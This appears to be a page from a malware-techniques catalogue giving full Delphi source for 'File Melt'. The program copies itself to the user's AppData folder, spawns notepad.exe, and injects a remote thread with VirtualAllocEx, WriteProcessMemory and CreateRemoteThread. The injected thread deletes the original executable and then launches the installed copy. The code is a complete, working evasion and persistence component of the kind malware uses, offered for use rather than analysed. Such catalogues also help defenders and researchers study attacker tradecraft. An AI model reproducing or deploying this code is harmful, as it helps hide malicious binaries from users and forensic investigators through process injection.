Windows Delphi / File Melt

Author Jean-Pierre LESUEUR (DarkCoderSc)
Platform Windows
Language Delphi
Technique File Melt

Code

{
  32Bit Example of File Melting
}

program Melt;

{$APPTYPE CONSOLE}

{$R *.res}

uses
  System.SysUtils,
  WinAPI.Windows,
  shlobj;


type
  TRemotePointer = record
    Address : Pointer;
    Size    : Cardinal;
  end;

  TMeltThreadInfo = record
    // WinAPI
    GetProcAddress : Pointer;
    LoadLibrary    : Pointer;
    GetLastError   : Pointer;
    ExitProcess    : Pointer;
    DeleteFileW    : Pointer;
    Sleep          : Pointer;
    WinExec        : Pointer;

    // Str
    sTargetFile    : Pointer;
    sExecFile      : Pointer;
  end;
  PMeltThreadInfo = ^TMeltThreadInfo;

{
  Generate an exception message with Last Error Information
}
function GetLastErrorMessage(AFuncName : String) : String;
begin
  result := Format('"%s" call failed with LastError=[%d], Message=[%s].', [
    AFuncName,
    GetLastError(),
    SysErrorMessage(GetLastError())
  ]);
end;

{
  Spawn a new hidden process
}
function Spawn(APEFile : String) : THandle;
var hProc               : THandle;
    b                   : Boolean;
    AStartupInfo        : TStartupInfo;
    AProcessInformation : TProcessInformation;
begin
  result := INVALID_HANDLE_VALUE;
  ///

  ZeroMemory(@AProcessInformation, SizeOf(TProcessInformation));
  ZeroMemory(@AStartupInfo, SizeOf(TStartupInfo));

  AStartupInfo.cb          := SizeOf(TStartupInfo);
  AStartupInfo.wShowWindow := SW_SHOW;
  AStartupInfo.dwFlags     := STARTF_USESHOWWINDOW;

  UniqueString(APEFile);

  b := CreateProcessW(
                          PWideChar(APEFile),
                          nil,
                          nil,
                          nil,
                          False,
                          0,
                          nil,
                          nil,
                          AStartupInfo,
                          AProcessInformation
  );

  if not b then
    raise Exception.Create(GetLastErrorMessage('CreateProcessW'));

  ///
  result := AProcessInformation.hProcess;
end;

{
  Melt File using Process Injection Technique
}

procedure MeltThread(pInfo : PMeltThreadInfo) ; stdcall;
var _GetLastError   : function() : DWORD; stdcall;
    _ExitProcess    : procedure(uExitCode : UINT); stdcall;
    _DeleteFileW    : function(lpFileName : LPCSTR) : BOOL; stdcall;
    _Sleep          : procedure(dwMilliseconds : DWORD); stdcall;
    _MessageBox : function(hWindow : HWND; lpText : LPCWSTR; lpCaption : LPCWSTR; uType : UINT):integer;stdcall;
    _WinExec        : function(lpCmdLine : LPCSTR; uCmdShow : UINT) : UINT; stdcall;
begin
  @_GetLastError   := pInfo^.GetLastError;
  @_ExitProcess    := pInfo^.ExitProcess;
  @_DeleteFileW    := pInfo^.DeleteFileW;
  @_Sleep          := pInfo^.Sleep;
  @_WinExec        := pInfo^.WinExec;

  while not _DeleteFileW(pInfo^.sTargetFile) do begin
    if (_GetLastError = ERROR_FILE_NOT_FOUND) then
      break;
    ///

    _Sleep(100);
  end;

  _WinExec(PAnsiChar(pInfo^.sExecFile), SW_SHOW);

  _ExitProcess(0);

  /// EGG
  asm
    mov eax, $DEADBEAF;
    mov eax, $DEADBEAF;
  end;
end;

procedure DoMelt_Injection(ATargetFile, AExecFile : String);
var hProc         : THandle;
    ABytesWritten : SIZE_T;
    AInfo         : TMeltThreadInfo;
    p             : Pointer;
    AThreadID     : DWORD;
    AThreadProc   : TRemotePointer;
    AInjectedInfo : TRemotePointer;
    hKernel32     : THandle;
    pSysWow64     : PWideChar;

  function FreeRemoteMemory(var ARemotePointer : TRemotePointer) : Boolean;
  begin
    result := False;
    ///

    if (NOT Assigned(ARemotePointer.Address)) or (ARemotePointer.Size = 0) then
      Exit();

    result := VirtualFreeEx(hProc, ARemotePointer.Address, ARemotePointer.Size, MEM_RELEASE);

    ZeroMemory(@ARemotePointer, SizeOf(TRemotePointer));
  end;

  function InjectBuffer(pBuffer : PVOID; ABufferSize : Cardinal) : TRemotePointer;
  begin
    ZeroMemory(@result, SizeOf(TRemotePointer));
    ///

    result.Size := ABufferSize;
    result.Address := VirtualAllocEx(hProc, nil, result.Size, MEM_COMMIT or MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    if result.Address = nil then
      raise Exception.Create(GetLastErrorMessage('VirtualAllocEx'));
    ///

    if not WriteProcessMemory(hProc, result.Address, pBuffer, result.Size, ABytesWritten) then begin
      FreeRemoteMemory(result);

      raise Exception.Create(GetLastErrorMessage('WriteProcessMemory'));
    end;
  end;

  function InjectStringW(AString : String) : TRemotePointer;
  begin
    result := InjectBuffer(PWideChar(AString), (Length(AString) * SizeOf(WideChar)));
  end;

  function InjectStringA(AString : AnsiString) : TRemotePointer;
  begin
    result := InjectBuffer(PAnsiChar(AString), (Length(AString) * SizeOf(AnsiChar)));
  end;

  function GetFuncSize(pFunc : Pointer) : Cardinal;
  {
    This is a very dumb but working technique, we scan for our special pattern to
    get the address of our last MeltThread instruction.

    We skip all epilogue instructions since the thread will end the parent process.

    Other techniques exists to know the exact size of a function but is not required
    for our example.
  }
  var I              : Integer;
      pCurrentRegion : Pointer;
      AFound         : Boolean;

  const EGG : array[0..5-1] of Byte = ($B8, $AF, $BE, $AD, $DE);
  begin
    I := 0;
    AFound := False;

    while True do begin
      pCurrentRegion := Pointer(NativeUInt(pFunc) + I);

      if CompareMem(pCurrentRegion, @EGG, Length(EGG)) then begin
        if AFound then begin
          result := I - Length(EGG);

          break;
        end;

        AFound := True;
      end;

      Inc(I);
    end;
  end;

begin
  GetMem(pSysWOW64, MAX_PATH);
  try
    SHGetSpecialFolderPathW(0, pSysWOW64, CSIDL_SYSTEMX86, False);
  finally
    FreeMem(pSysWOW64, MAX_PATH);
  end;

  hProc := Spawn(Format('%s\notepad.exe', [String(pSysWOW64)]));
  try
    ZeroMemory(@AInfo, SizeOf(TMeltThreadInfo));

    {
      Prepare Thread Parameter
    }
    hKernel32 := LoadLibrary('kernel32.dll');

    AInfo.GetLastError   := GetProcAddress(hKernel32, 'GetLastError');
    AInfo.ExitProcess    := GetProcAddress(hKernel32, 'ExitProcess');
    AInfo.DeleteFileW    := GetProcAddress(hKernel32, 'DeleteFileW');
    AInfo.Sleep          := GetProcAddress(hKernel32, 'Sleep');
    AInfo.GetProcAddress := GetProcAddress(hKernel32, 'GetProcAddress');
    AInfo.LoadLibrary    := GetProcAddress(hKernel32, 'LoadLibraryW');
    AInfo.WinExec        := GetProcAddress(hKernel32, 'WinExec');

    AInfo.sTargetFile    := InjectStringW(ATargetFile).Address;
    AInfo.sExecFile      := InjectStringA(AnsiString(AExecFile)).Address;
    try
      AThreadProc := InjectBuffer(@MeltThread, GetFuncSize(@MeltThread));

      AInjectedInfo := InjectBuffer(@AInfo, SizeOf(TMeltThreadInfo));

      if CreateRemoteThread(hProc, nil, 0, AThreadProc.Address, AInjectedInfo.Address, 0, AThreadID) = 0 then
        raise Exception.Create(GetLastErrorMessage('CreateRemoteThread'));

      WriteLn('Done.');
    except
      on E: Exception do begin
        TerminateProcess(hProc, 0);

        raise;
      end;
    end;
  finally
    CloseHandle(hProc);
  end;
end;

{
  Program Entry Point
}
var ACurrentFile : String;
    ADestFile    : String;
begin
  try
    ACurrentFile := GetModuleName(0);

    ADestFile := Format('%s\%s', [
        GetEnvironmentVariable('APPDATA'),
        ExtractFileName(GetModuleName(0))
    ]);

    if String.Compare(ACurrentFile, ADestFile, True) = 0 then begin
      {
        After Melt (New Installed Copy)
      }

      WriteLn(Format('Melt successfully. I''m running from "%s"', [ACurrentFile]));
      WriteLn('Press enter to exit.');
      Readln;
    end else begin
      {
        Melt Instance
      }
      WriteLn('Install our copy and initiate file melting...');

      if NOT CopyFile(
                        PWideChar(ACurrentFile),
                        PWideChar(ADestFile),
                        False) then
        raise Exception.Create(Format('Could not copy file from "%s" to "%s"', [ACurrentFile, ADestFile]));

      DoMelt_Injection(ACurrentFile, ADestFile);
    end;
  except
    on E: Exception do
      Writeln(E.ClassName, ': ', E.Message);
  end;
end.

Created

February 20, 2021

Last Revised

April 22, 2024